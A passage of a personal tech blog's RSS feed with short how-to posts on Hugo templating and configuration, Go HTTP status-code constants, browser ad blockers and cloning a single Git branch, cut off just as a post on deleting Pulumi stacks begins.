</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$refDomain</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;nelson.cloud&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line hl"><span class="cl"><span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.Destination</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">safeURL</span><span class="w"> </span><span class="cp">}}{{</span><span class="w"> </span><span class="nx">$refParam</span><span class="w"> </span><span class="cp">}}{{</span><span class="w"> </span><span class="nx">$refDomain</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="na">.Title</span><span class="cp">}}</span> <span class="na">title</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}{{</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">strings</span><span class="na">.HasPrefix</span><span class="w"> </span><span class="na">.Destination</span><span class="w"> </span><span class="s">&#34;http&#34;</span><span class="w"> </span><span class="cp">}}</span> <span class="na">target</span><span class="o">=</span><span class="s">&#34;_blank&#34;</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;noopener noreferrer&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span><span class="p">&gt;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.Text</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">safeHTML</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span><span class="cp">{{-</span><span class="w"> </span><span class="s">&#34;&#34;</span><span class="w"> </span><span class="cp">-}}</span></span></span></code></pre></td></tr></table>
</blockquote>
<p>Then my links were rendering without additional space after them, and here&rsquo;s a screenshot showing that:</p>
<img src="/unwanted-hugo-whitespace/after.webp" alt="Link generated by Hugo with the space after it gone now." height="50" style="aspect-ratio: 168 / 26;" loading="lazy" decoding="async">
<p>The weird thing is that when I checked the HTML being generated, it looked identical to the original before I added the template syntax and I had no idea why:</p>
<img src="/unwanted-hugo-whitespace/html-after.webp" alt="HTML of the link generated by Hugo after the template syntax was added." width="1498" height="162" style="max-width: 100%; height: auto; aspect-ratio: 749 / 81;" loading="lazy" decoding="async">
<p>But at least the whitespace was gone when viewing the article in a browser. That&rsquo;s what matters.</p>
<p>This template syntax trick can probably be applied to other areas of Hugo and not just for links, but I haven&rsquo;t done any additional experimenting.</p>
<h2 id="references">References</h2>
<ul>
<li>Wherever ChatGPT <del>stole</del> got this information from. I feel weird using ChatGPT as a reference but that really is how I discovered the solution.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Remove Unnecessary Hugo Meta Tag to Keep HTML Lean</title>
      <link>https://nelson.cloud/remove-unnecessary-hugo-meta-tag-to-keep-html-lean/?ref=rss</link>
      <pubDate>Sun, 15 Jun 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/remove-unnecessary-hugo-meta-tag-to-keep-html-lean/?ref=rss</guid>
      <description>Remove an unnecessary and auto-generated Hugo meta tag by setting &lt;code&gt;disableHugoGeneratorInject&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;.</description><content:encoded><![CDATA[<p>I like to keep my 

<a href="https://gohugo.io/" target="_blank" rel="noopener">Hugo</a> site as lean as possible for performance reasons and to save on hosting costs.</p>
<p>I recently discovered that Hugo generates an HTML <code>&lt;meta&gt;</code> tag with the Hugo version in the <code>&lt;head&gt;</code> tag. This is done by default and looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">generator</span> <span class="na">content</span><span class="o">=</span><span class="s">&#34;Hugo 0.146.2&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>To remove this tag, we can disable it in <code>config.yaml</code> or <code>config.toml</code> by setting the <code>disableHugoGeneratorInject</code> boolean to <code>true</code>.</p>
<p>In YAML:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-YAML" data-lang="YAML"><span class="line"><span class="cl"><span class="nt">disableHugoGeneratorInject</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>In TOML:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-TOML" data-lang="TOML"><span class="line"><span class="cl"><span class="nx">disableHugoGeneratorInject</span> <span class="p">=</span> <span class="kc">true</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If setting <code>disableHugoGeneratorInject</code> doesn&rsquo;t work, do a global search in your Hugo project for <code>{{ hugo.Generator }}</code>. This template syntax outputs the same <code>&lt;meta&gt;</code> tag and doesn&rsquo;t respect the <code>disableHugoGeneratorInject</code> configuration (at least as of Hugo v0.147.8).</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://gohugo.io/configuration/all/#disablehugogeneratorinject" target="_blank" rel="noopener">https://gohugo.io/configuration/all/#disablehugogeneratorinject</a></li>
<li>

<a href="https://gohugo.io/functions/hugo/generator/" target="_blank" rel="noopener">https://gohugo.io/functions/hugo/generator/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Validate HTTP Status Codes in Go Using Built-in Constants</title>
      <link>https://nelson.cloud/validate-http-status-codes-in-go-using-built-in-constants/?ref=rss</link>
      <pubDate>Sat, 24 May 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/validate-http-status-codes-in-go-using-built-in-constants/?ref=rss</guid>
      <description>Use Go net/http constants like StatusOK and StatusNotFound for more readable code.</description><content:encoded><![CDATA[<h2 id="constants-to-use-when-checking-for-http-status-codes">Constants to Use When Checking for HTTP Status Codes</h2>
<p>Go has useful 

<a href="https://pkg.go.dev/net/http#pkg-constants" target="_blank" rel="noopener">constants in the net/http package</a> that can make your code more readable when checking for status codes in responses.</p>
<p>For example, instead of writing something like</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">200</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c1">// do something if the status code is 200</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>You can write</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusOK</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c1">// do something if the status code is 200</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>Unfortunately the link doesn&rsquo;t show any full, working examples. So here&rsquo;s an example covering some of the more common http status codes that you can use and modify as needed.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;log&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;net/http&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">resp</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nf">Get</span><span class="p">(</span><span class="s">&#34;https://example.com&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">log</span><span class="p">.</span><span class="nf">Fatalf</span><span class="p">(</span><span class="s">&#34;error: %v&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">defer</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">Body</span><span class="p">.</span><span class="nf">Close</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// Status code 200</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusOK</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;ok!&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// Status code 301</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusMovedPermanently</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;moved permanently&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// Status code 403</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusForbidden</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;forbidden&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// Status code 404</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusNotFound</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;not found&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// Status code 429</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusTooManyRequests</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;too many requests&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// Status code 500</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusInternalServerError</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;internal server error&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// Status code 502</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusBadGateway</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;bad gateway&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><h2 id="turning-http-status-codes-into-messages-with-httpstatustext">Turning HTTP Status Codes into Messages with http.StatusText()</h2>
<p>There&rsquo;s also 

<a href="https://pkg.go.dev/net/http#StatusText" target="_blank" rel="noopener">a function <code>http.StatusText()</code></a> that allows you to pass in status codes and get a message for logging purposes or displaying to users. You can see all the responses in 

<a href="https://go.dev/src/net/http/status.go" target="_blank" rel="noopener">the source code here</a>, it&rsquo;s a bunch of <code>case</code> statements.</p>
<p>For example, let&rsquo;s say we want to display a message if we don&rsquo;t get a 200 status code. Instead of writing code to print out a different message depending on the status code value, we can use the <code>http.StatusText()</code> function:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;log&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;net/http&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">resp</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nf">Get</span><span class="p">(</span><span class="s">&#34;https://example.com/404&#34;</span><span class="p">)</span><span class="w"> </span><span class="c1">// this URL returns a 404 status code</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">log</span><span class="p">.</span><span class="nf">Fatalf</span><span class="p">(</span><span class="s">&#34;error: %v&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">defer</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">Body</span><span class="p">.</span><span class="nf">Close</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">StatusOK</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="c1">// if it&#39;s not 200, print out a message depending on the status code</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="nx">http</span><span class="p">.</span><span class="nf">StatusText</span><span class="p">(</span><span class="nx">resp</span><span class="p">.</span><span class="nx">StatusCode</span><span class="p">))</span><span class="w"> </span><span class="c1">// http.StatusText() is called here</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><pre tabindex="0"><code>$ go run example.go

Not Found
</code></pre><p>Super convenient.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://pkg.go.dev/net/http" target="_blank" rel="noopener">https://pkg.go.dev/net/http</a></li>
<li>

<a href="https://go.dev/src/net/http/status.go" target="_blank" rel="noopener">https://go.dev/src/net/http/status.go</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>It’s 2025, Why Aren’t You Using an Ad Blocker?</title>
      <link>https://nelson.cloud/its-2025-why-arent-you-using-an-ad-blocker/?ref=rss</link>
      <pubDate>Sat, 10 May 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/its-2025-why-arent-you-using-an-ad-blocker/?ref=rss</guid>
      <description>Far too many people still don&amp;rsquo;t use ad blockers.</description><content:encoded><![CDATA[<p>I find myself asking this any time I discover that someone uses a web browser with no ad blocking solution. More specifically, it blows my mind when tech-savvy people that work in software development (and related roles) don&rsquo;t use ad blockers. I don&rsquo;t understand why.</p>
<p>The &ldquo;main&rdquo; web is a terrible experience when browsing without ad blockers.</p>
<p>If you&rsquo;re one of those people that doesn&rsquo;t have an ad blocker, here are some links to improve your web browsing experience.</p>
<h2 id="browser-extensions-to-block-ads">Browser Extensions to Block Ads</h2>
<p>The best and arguably only ad blocker you&rsquo;ll need for your browser is 

<a href="https://github.com/gorhill/uBlock" target="_blank" rel="noopener">uBlock Origin</a>. It has worked consistently for me on Firefox and Chrome for many, many years.</p>
<p>Here are some convenient links to get uBlock Origin:</p>
<ul>
<li>

<a href="https://addons.mozilla.org/firefox/addon/ublock-origin/" target="_blank" rel="noopener">Get the uBlock Origin Firefox extension</a></li>
<li>

<a href="https://chromewebstore.google.com/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm" target="_blank" rel="noopener">Get the uBlock Origin Chrome extension</a></li>
<li>

<a href="https://microsoftedge.microsoft.com/addons/detail/ublock-origin/odfafepnkmbhccpbejgmiehpchacaeak" target="_blank" rel="noopener">Get the uBlock Origin Microsoft Edge extension</a> (if you use Edge for some reason)</li>
</ul>
<h2 id="for-safari-users">For Safari Users</h2>
<p>

<a href="https://www.apple.com/safari/" target="_blank" rel="noopener">Safari</a> doesn&rsquo;t support extensions like other browsers. While there is some tracking protection out of the box it doesn&rsquo;t compare to uBlock Origin. If you REALLY want to keep using Safari then check out 

<a href="https://adguard.com/adguard-mac/overview.html" target="_blank" rel="noopener">AdGuard for Mac</a>. It blocks ads system-wide on macOS and not just in Safari.</p>
<p>If you like the Safari aesthetic but don&rsquo;t want to install AdGuard, check out 

<a href="https://kagi.com/orion/" target="_blank" rel="noopener">Orion Browser</a>. It comes with ad blocking out of the box. It&rsquo;s based on 

<a href="https://webkit.org/" target="_blank" rel="noopener">WebKit</a> just like Safari. There&rsquo;s even an iOS app available.</p>
<ul>
<li>

<a href="https://kagi.com/orion/#download_sec" target="_blank" rel="noopener">Get Orion for macOS</a></li>
<li>

<a href="https://apps.apple.com/us/app/orion-browser-by-kagi/id1484498200" target="_blank" rel="noopener">Get Orion for iOS</a></li>
</ul>
<h2 id="brave-browser">Brave Browser</h2>
<p>

<a href="https://brave.com/" target="_blank" rel="noopener">Brave Browser</a> is also a great browser if you want an ad-free web experience. It&rsquo;s available on all major platforms (Windows, Android, Linux, macOS, iOS) and it comes with ad blocking built in. I hesitate a bit to recommend Brave because it comes with some optional 

<a href="https://brave.com/brave-rewards/" target="_blank" rel="noopener">crypto bullshit</a> called 

<a href="https://basicattentiontoken.org/" target="_blank" rel="noopener">Basic Attention Token</a>, but you don&rsquo;t have to opt into that.</p>
<ul>
<li>

<a href="https://brave.com/download/" target="_blank" rel="noopener">Get Brave Browser</a></li>
</ul>
<h2 id="start-browsing-the-web-with-ad-blockers">Start Browsing the Web with Ad Blockers</h2>
<p>There are many options for blocking ads regardless of the device you&rsquo;re using. Start browsing the web with an ad blocker and you&rsquo;ll never go back to browsing the normal ad-infested web.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to Clone a Specific Git Branch Without Other Branches</title>
      <link>https://nelson.cloud/how-to-clone-a-specific-git-branch-without-other-branches/?ref=rss</link>
      <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-clone-a-specific-git-branch-without-other-branches/?ref=rss</guid>
      <description>Clone a single Git branch using &amp;ndash;single-branch and &amp;ndash;depth for faster cloning.</description><content:encoded><![CDATA[<h2 id="cloning-a-specific-branch">Cloning a Specific Branch</h2>
<p>To clone a specific branch of a git repository without cloning all other branches, use the following command formula:</p>
<pre tabindex="0"><code>git clone --single-branch --branch &lt;branch_name&gt; &lt;repo_URL.git&gt;
</code></pre><p>For example, if you want to clone the <code>release-1.28</code> branch of the 

<a href="https://github.com/kubernetes/kubernetes/tree/release-1.28" target="_blank" rel="noopener">Kubernetes GitHub repository</a>, run:</p>
<pre tabindex="0"><code>git clone --single-branch --branch release-1.28 https://github.com/kubernetes/kubernetes.git
</code></pre><h2 id="cloning-the-latest-commit-of-a-specific-branch">Cloning the Latest Commit of a Specific Branch</h2>
<p>If you only want to clone the latest commit of a specific branch (which results in a faster and smaller cloning operation) use <code>--depth 1</code>. The command formula looks like this:</p>
<pre tabindex="0"><code>git clone --single-branch --branch &lt;branch_name&gt; --depth 1 &lt;repo_URL.git&gt;
</code></pre><p>And here is another example using the <code>release-1.28</code> branch of the 

<a href="https://github.com/kubernetes/kubernetes/tree/release-1.28" target="_blank" rel="noopener">Kubernetes GitHub repository</a>:</p>
<pre tabindex="0"><code>git clone --single-branch --branch release-1.28 --depth 1 https://github.com/kubernetes/kubernetes.git
</code></pre><h2 id="references">References</h2>
<ul>
<li>

<a href="https://www.freecodecamp.org/news/git-clone-branch-how-to-clone-a-specific-branch/" target="_blank" rel="noopener">https://www.freecodecamp.org/news/git-clone-branch-how-to-clone-a-specific-branch/</a></li>
<li>

<a href="https://git-scm.com/docs/git-clone" target="_blank" rel="noopener">https://git-scm.com/docs/git-clone</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Delete All Pulumi Stacks with One Command</title>
      <link>https://nelson.cloud/delete-all-pulumi-stacks-with-one-command/?ref=rss</link>
      <pubDate>Tue, 18 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/delete-all-pulumi-stacks-with-one-command/?ref=rss</guid>
      <description>How to delete all pulumi stacks with a shell one-liner.</description><content:encoded><![CDATA[<p>There currently isn&rsquo;t a way to delete all stacks with <code>pulumi stack rm</code> so this is an alternative way to achieve that.</p>
<h2 id="delete-all-stacks-in-the-current-project">Delete All Stacks in the Current Project</h2>
<p>To delete all Pulumi stacks in the current Pulumi project you can run the following command:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
